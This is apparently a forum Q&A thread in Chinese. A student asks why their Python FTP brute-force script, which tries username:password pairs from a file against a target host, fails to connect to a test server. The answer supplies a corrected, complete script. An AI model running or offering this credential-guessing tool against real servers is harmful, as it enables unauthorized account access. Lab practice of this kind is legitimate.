Python FTP 破解密码
我正在做一个学校的编程项目,打算用一个Python脚本来暴力破解一个FTP服务器,使用的是一个文本文件。现在我有的代码是这样的:
from ftplib import FTP
from optparse import OptionParser
def brute(host, username, password):
try:
ftp = FTP(host)
ftp.login(username, password)
ftp.retrlines('LIST')
print ('Ftp server connected using the provided username "' + username + '" and password "' + password + '"')
ftp.quit()
except:
print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')
def main():
parser = OptionParser(usage="usage: python3 <program name>.py -H <target IP -P <password file>")
parser.add_option("-H", type="string",
help="Enter target host IP",
dest="targetHost")
parser.add_option("-P", type="string",
help="Enter password file",
dest="passFile")
(options, args) = parser.parse_args()
with open(options.passFile) as f:
content = f.readlines()
content = [x.split(':') for x in content]
username = []
password = []
i = 0
for x in range(len(content)):
username.append(content[i][0])
password.append(content[i][1])
i += 1
password = [x.replace('\n', '') for x in password]
f.close()
for x in range(len(username)):
brute(options.targetHost, username[x], password[x])
main()
这个文本文件的格式是 用户名:密码。为了测试这个脚本,我需要先搭建一个FTP服务器,我已经搭建好了。然后我运行了脚本,虽然它执行了,但并没有真正连接到FTP服务器,而是给了我一个输出结果。我尝试了很久去配置我的FTP服务器,想让它正常工作,但结果还是一样。所以我想知道,是我的脚本有问题,还是我没有正确配置FTP服务器。如果是脚本的问题,能不能有人指出来是什么问题?如果我的脚本没问题,那有没有人能给我推荐一个网站,教我怎么在Windows 2008或Linux上搭建和配置FTP服务器?谢谢大家!
1 个回答
2
with open(options.passFile) as f:
for line in f:
username, password = line.strip().split(':')
brute(options.targetHost, username, password)
--
在代码的第一行有一段 #!/usr/bin/env python3
,这叫做 hashbang
,其中 #
叫做 hash
,而 !
叫做 bang
。
有了这一行,我就可以直接运行这个脚本了。
#!/usr/bin/env python3
from ftplib import FTP
from optparse import OptionParser
def brute(host, username, password):
try:
ftp = FTP(host)
ftp.login(username, password)
ftp.retrlines('LIST')
print ('Ftp server connected using the provided username "' + username + '" and password "' + password + '"')
ftp.quit()
except:
print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')
def main():
parser = OptionParser(usage="usage: python3 <program name>.py -t <target IP> -p <password file>")
parser.add_option("-t", type="string",
help="Enter target host IP",
dest="targetHost")
parser.add_option("-p", type="string",
help="Enter password file",
dest="passFile")
(options, args) = parser.parse_args()
if not options.passFile or not options.targetHost:
parser.print_help()
else:
with open(options.passFile) as f:
data = [ line.strip().split(':') for line in f ]
for username, password in data:
brute(options.targetHost, username, password)
main()
或者
bash$ my_script.py
(但我首先得把它设置为可执行,使用命令 chmod +x my_script.py
)
我甚至可以去掉 .py
后缀,它也能正常工作。
bash$ ./my_script.py
或者
bash$ my_script
--
大多数程序使用小写的参数,我也喜欢这样,所以我用 -t
和 -p
。
--
OptionParser 并没有检查参数是否被使用。
--
代码的最后一部分也可以是
bash$ ./my_script